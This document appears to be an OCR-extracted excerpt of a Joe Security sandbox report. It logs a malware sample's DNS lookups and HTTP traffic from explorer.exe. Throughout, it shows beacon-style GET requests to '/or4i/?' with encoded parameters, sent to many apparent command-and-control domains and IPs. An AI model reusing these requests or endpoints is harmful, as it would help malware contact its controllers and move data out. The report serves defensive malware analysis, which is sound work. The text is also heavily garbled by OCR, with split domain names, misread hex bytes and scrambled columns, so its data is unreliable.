
May 12, 2021 20:04:03.668735027 CEST 192.168.2.4 8.8.8.8 0x987e Standard query  www.safegr A (IP address) IN (0x0001)
(0) inder.com

May 12, 2021 20:04:09.047368050 CEST 192.168.2.4 8.8.8.8 0x5430 Standard query  www.tecque A (IP address) IN (0x0001)
0) strian.com

May 12, 2021 20:04:14.310559034 CEST 192.168.2.4 8.8.8.8 0x8005 Standard query  www.boowea A (IP address) IN (0x0001)
(0) ts.com

May 12, 2021 20:04:19.542972088 CEST 192.168.2.4 8.8.8.8 0x20bf Standard query  www.cuntre A (IP address) IN (0x0001)
(0) ra.com

May 12, 2021 20:04:25.495456934 CEST 192.168.2.4 8.8.8.8 0x111d Standard query  www.blissf A (IP address) IN (0x0001)
0) ulyogamull

icahill.com

May 12, 2021 20:04:30.903311968 CEST 192.168.2.4 8.8.8.8 0x8610 Standard query  www.change A (IP address) IN (0x0001)

0) thecompany.net
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DNS Answers

Timestamp Source IP

May 12, 2021
20:03:15.565867901
CEST

8.8.8.8

May 12, 2021 8.8.8.8
20:03:15.565867901

CEST

May 12, 2021
20:03:21.256314039
CEST

8.8.8.8

May 12, 2021
20:03:21.256314039
CEST

8.8.8.8

May 12, 2021
20:03:26.510171890
CEST

8.8.8.8

May 12, 2021
20:03:26.510171890
CEST

8.8.8.8

May 12, 2021
20:03:32.012048960
CEST

8.8.8.8

May 12, 2021
20:03:32.012048960
CEST

8.8.8.8

May 12, 2021 8.8.8.8
20:03:37.294027090

CEST

May 12, 2021
20:03:37.294027090
CEST

8.8.8.8

May 12, 2021
20:03:42.628508091
CEST

8.8.8.8

May 12, 2021 8.8.8.8
20:03:42.628508091

CEST

May 12, 2021 8.8.8.8
20:03:42.628508091

CEST

May 12, 2021 8.8.8.8
20:03:42.628508091

CEST

May 12, 2021 8.8.8.8
20:03:47.999537945

CEST

May 12, 2021
20:03:47.999537945
CEST

8.8.8.8

May 12, 2021
20:03:53.347131014
CEST

8.8.8.8

May 12, 2021 8.8.8.8
20:03:53.347131014

CEST

May 12, 2021
20:04:03.738435030
CEST

8.8.8.8

May 12, 2021
20:04:03.738435030
CEST

8.8.8.8

May 12, 2021
20:04:09.111213923
CEST

8.8.8.8

May 12, 2021
20:04:09.111213923
CEST

8.8.8.8
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Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x9f67

0x9f67

Ox5cee

Ox5cee

0x3912

0x3912

0xcf80

0xcf80

0x7424

0x7424

0x78b

0x78b

0x78b

0x78b

Oxce09

Oxce09

0x776¢

0x776¢

0x987e

0x987e

0x5430

0x5430

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

www.healsh
ameyoga.com

pixie.porkbun.com

pixie.pork
bun.com

Www.rogers
beefarm.com

rogersbeefarm.com

rogersbeef
arm.com

www.nowhea
Ithdays.com

nowhealthdays.com

nowhealthd
ays.com

www.ikeber ikeberto.com

to.com

ikeberto.com

www.direct directflence.com

flence.com

directflence.com

www.mmgeni
us.com

prod-sav-park-1b01-
1919960993.us-east-
2.elb.amazonaws.com

prod-sav-park-
1b01-1
919960993.us-
east-2.
elb.amazon
aws.com

prod-sav-park-
1b01-1
919960993.us-
east-2.
elb.amazon
aws.com

prod-sav-park-
1b01-1
919960993.us-
east-2.
elb.amazon
aws.com

www.rainbo rainboxs.com

Xs.com

rainboxs.com

www.noblea nobleandmarble.com

ndmarble.com

nobleandma
rble.com

www.safegr
inder.com

shops.myshopify.com

shops.mysh
opify.com

www.tecque
strian.com

tecquestrian.com

tecquestrian.com

Address

44.227.76.166

34.102.136.180

198.54.114.164

34.102.136.180

185.4.135.136

3.16.197.4

13.59.53.244

52.15.160.167

34.102.136.180

209.222.96.146

23.227.38.74

34.102.136.180

Type
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP

May 12, 2021
20:04:14.373636007
CEST

8.8.8.8 192.168.2.4

May 12, 2021
20:04:19.890546083
CEST

8.8.8.8 192.168.2.4

May 12, 2021
20:04:25.639183998
CEST

8.8.8.8 192.168.2.4

May 12, 2021
20:04:30.975553036
CEST

8.8.8.8 192.168.2.4

May 12, 2021
20:04:30.975553036
CEST

8.8.8.8 192.168.2.4

HTTP Request Dependency Graph

e www.healshameyoga.com

e www.rogersbeefarm.com

e www.nowhealthdays.com

e www.ikeberto.com

e www.directflence.com

* www.mmgenius.com

e www.rainboxs.com

e www.nobleandmarble.com

e www.safegrinder.com

* www.tecquestrian.com

e www.booweats.com

e www.cuntrera.com

e www.changethecompany.net

HTTP Packets

Session ID Source IP Source P

0 192.168.2.4 49744

kBytes

Timestamp transferred Direction

May 12, 2021 1284 ouT

20:03:15.982130051 CEST
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Trans ID

0x8005

0x20bf

Ox111d

0x8610

0x8610

ort

Destination IP

44.227.76.166

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

80

Name CName Address

www.boowea 64.190.62.111

ts.com

www.cuntre 154.93.81.33

ra.com

www.blissf 199.59.242.153
ulyogamull

icahill.com

www.change
thecompany.net

changethecompany.net

changethec 34.102.136.180

ompany.net

Destination Port Process

C:\Windows\explorer.exe

Type
A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL _8=br7cblkv9ontd/SiGgT+XZDI5pRbJS2ewUI6yLIzIbkbVffvtcdgNYOH
gbt3ntXhEXSG HTTP/1.1

Host: www.healshameyoga.com
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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kBytes

Timestamp transferred

May 12, 2021 1285

20:03:16.190001965 CEST

Session ID Source IP

1 192.168.2.4
kBytes

Timestamp transferred

May 12, 2021 1643

20:03:21.298877954 CEST

May 12, 2021 1673

20:03:21.436414003 CEST

Session ID Source IP

10 192.168.2.4
kBytes

Timestamp transferred

May 12, 2021 6051

20:04:14.421730995 CEST

May 12, 2021 6052

20:04:14.499639034 CEST

Session ID Source IP

11 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49752

Direction

ouT

Source Port

49772

Direction

ouT

Source Port

49773

Data

HTTP/1.1 307 Temporary Redirect

Server: openresty

Date: Wed, 12 May 2021 18:03:16 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 168

Connection: close

Location: http://healshameyoga.com

X-Frame-Options: sameorigin

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52
65 64 69 72 65 63 74 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e
3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e
0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79
3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>307 Temporary Redirect</titte></head><body><center><h1>307 Temporary Redirect</
h1></center><hr><center>openresty</center></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /or4i/?HFQDEL _8=iur2w+ilhsR226mwIbytM77gwZtRrog6xSmsh16YEI1oNNyvhmb6qr2bTjtOXqdr6kbB&4
h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1

Host: www.rogersbeefarm.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 12 May 2021 18:03:21 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6096ba97-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

64.190.62.111 80 C:\Windows\explorer.exe

Data

GET /or4i/?HFQDEL_8=qot6XnISyPOFXuVGORD9CEtZEU4GG3KqT75/dB/Qk/mHCIMLKHKtxcGvS1QI8r/8KBX8&4
h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1

Host: www.booweats.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

date: Wed, 12 May 2021 18:04:14 GMT

content-type: text/html; charset=UTF-8

content-length: O

x-adblock-key: MFwwDQYJKoZlhveNAQEBBQADSWAWSAJIBANNyIWw2vLY4hUn9w06zQKbhKBfvjFUCsdFIb6 TdQhx
b9RXWXul4t31c+08fYOV/s8qlLGPga3DE1L/tHUALENMCAWEAAQ==_GR7H1xMTDQhvKsk9JLsRBf15xjVzhUxhlhUt
6qvgKB5loHIpJ3jjYusyTMFbvzyGzakXql8yj22nmafDt8NgEQ==

expires: Mon, 26 Jul 1997 05:00:00 GMT

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

pragma: no-cache

last-modified: Wed, 12 May 2021 18:04:14 GMT

location: https://sedo.com/search/details/?partnerid=324561&language=it&domain=booweats.com&origin=sales_lande
r_1&utm_medium=Parking&utm_campaign=offerpage

x-cache-miss-from: parking-5cc4cbb56f-5qv64

server: NginX

connection: close

Destination IP Destination Port Process

154.93.81.33 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

May 12, 2021 6053
20:04:20.187233925 CEST

Session ID Source IP
12 192.168.2.4

kBytes
Timestamp transferred
May 12, 2021 6060

20:04:31.017971039 CEST

May 12, 2021 6060
20:04:31.157010078 CEST

Session ID Source IP
2 192.168.2.4

kBytes
Timestamp transferred
May 12, 2021 2204

20:03:26.705135107 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49775

Direction

ouT

Source Port

49757

Direction

ouT

Data

GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=0Jz4pJjdv4YVSt0+MmS2FtCABvAcV0g87alryYx21PY21L

+ds7v/9rK+HMpewyOytB7Z HTTP/1.1
Host: www.cuntrera.com

Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL _8=s0IAE6utMOpEbBTXfVBtMvohtOMhwSGLV{PwISEa+yA+XV

zrw80Q7eif0DgkxnFDccR HTTP/1.1
Host: www.changethecompany.net
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 12 May 2021 18:04:31 GMT
Content-Type: text/html
Content-Length: 275

ETag: "6096ba97-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0Oa 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e

Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>

<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

198.54.114.164 80 C:\Windows\explorer.exe

Data

GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=Nfl9li5qPifSOgmI30GyYt+1WQBc6+s+CWT3m3ZkN/MuRx

1xa905Jr26QEss+PYMzBmi HTTP/1.1
Host: www.nowhealthdays.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

May 12, 2021 2206
20:03:26.905880928 CEST

Session ID Source IP
3 192.168.2.4

kBytes
Timestamp transferred
May 12, 2021 5992

20:03:32.055988073 CEST

May 12, 2021 5993
20:03:32.193681002 CEST

Session ID Source IP

4 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49763

Direction

ouT

Source Port

49764

Data

HTTP/1.1 404 Not Found

date: Wed, 12 May 2021 18:03:26 GMT

server: Apache

accept-ranges: bytes

transfer-encoding: chunked

content-type: text/html

connection: close

Data Raw: 32 31 36 38 0d Oa 0Oa Oa Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 3e 0a 20 20 20 20
3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79
70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e
0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6¢ 22 20 63 6f
6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 2
250726167 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68
7474 702d 657175 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d
65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69
63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6¢
65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 3¢ 73 74 79 6¢ 65 20 74 79 70 65 3d
22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20
66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 41 72 69 61 6¢ 2 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6€ 73 2d 73 65 72
69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20
20 20 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20
2020 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20
2020 20 20 63 6f 6¢ 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67
3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d Oa 20
20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73
70 6¢ 61 79 3a 20 62 6¢ 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 2
02020 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d Oa 20 20 20 20 20 20 20 20
2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 61
75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20
20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d Oa 20 20
20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72
3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f
64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20
20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20
2020 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79
3a 20 62 6¢ 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f
2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0a 20 20 20 20 20

Data Ascii: 2168<!IDOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-
8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta
http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404

Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size:
14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: O;
margin: 0; } section, footer { display: block; padding: O; margin: 0; } .container {
margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC;

} .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block;
} .contact-info, .reason-text {

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /or4i/?HFQDEL_8=9uknvSs0D9sRUbKPNEJc//q5kM+rT7HBD1bOe0TigX7EwC/pCWMCWQN4ECUA0466XB/p&4
h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1

Host: www.ikeberto.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 12 May 2021 18:03:32 GMT

Content-Type: text/html

Content-Length: 275

ETag: "60995c0c-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

185.4.135.136 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

May 12, 2021 6017

20:03:37.372333050 CEST

May 12, 2021 6018

20:03:37.449553967 CEST

Session ID Source IP

5 192.168.2.4
kBytes

Timestamp transferred

May 12, 2021 6019

20:03:42.767637014 CEST

May 12, 2021 6020

20:03:42.905261993 CEST

Session ID Source IP

6 192.168.2.4
kBytes

Timestamp transferred

May 12, 2021 6020

20:03:48.045959949 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49765

Direction

ouT

Source Port

49766

Direction

ouT

Data

GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=XZ5egFIM4LuR7jucOUFP6fai+XX218SV8Urlleq3oNzW4b
+OCSmM6ABQPGtFRXxJIXr06kx HTTP/1.1

Host: www.directflence.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 12 May 2021 18:03:37 GMT

Server: Apache

Location: https://www.directflence.com/or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=XZ5egFIM4LuR7jucOUFP6f
ai+XX218SV8Urlleq3oNzW4b+OCSm6ABQPGtFRxJIXr06kx

Cache-Control: max-age=2592000

Expires: Fri, 11 Jun 2021 18:03:37 GMT

Content-Length: 348

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 69 72 65 63 74 66 6C
65 6e 63 65 2e 63 6f 6d 2f 6f 72 34 69 2f 3f 34 68 5f 48 43 76 3d 61 32 4a 44 61 30 58 78 32 32 49 70 57 78 6a 50 26 61
6d 70 3b 48 46 51 44 45 4Ac 5f 38 3d 58 5a 35 65 67 46 6¢ 4d 34 4c 75 52 37 6a 75 63 30 55 46 50 36 66 61 69 2b 58 58
3249 3853 56 38 55 72 31 49 65 71 33 6f 4e 7a 57 34 62 2b 4f 43 53 6d 36 41 42 51 50 47 74 46 52 78 4a 58 72 30 36
6b 78 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly<f/titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.directflence.c
om/or4i/?4h_HCv=a2JDa0Xx22IpWxjP&amp;HFQDEL_8=XZ5egFIM4LuR7jucOUFP6fai+XX218SV8Urlleq3oNzW
4b+OCSmMBABQPGtFRxJIXr06kx">here</a>.</p></body></html>

Destination IP Destination Port Process

3.16.197.4 80 C:\Windows\explorer.exe

Data

GET /or4i/?HFQDEL_8=kdp3FbgcdOoi47L6CSewezhnlrd3vGjo7ZesdbmmEgh4+nsMxNwHdMyhwqYehAYq5sNV&4
h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1

Host: www.mmgenius.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 12 May 2021 18:03:42 GMT

Content-Type: text/html

Content-Length: 153

Connection: close

Server: nginx/1.16.1

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</tite></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx/1.16.1</center></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL _8=+ijMIDuYhuzidrLjkbi+elVKZ7K6phzLRhFwzYI2MHaYrqu+hiZ6wsf5
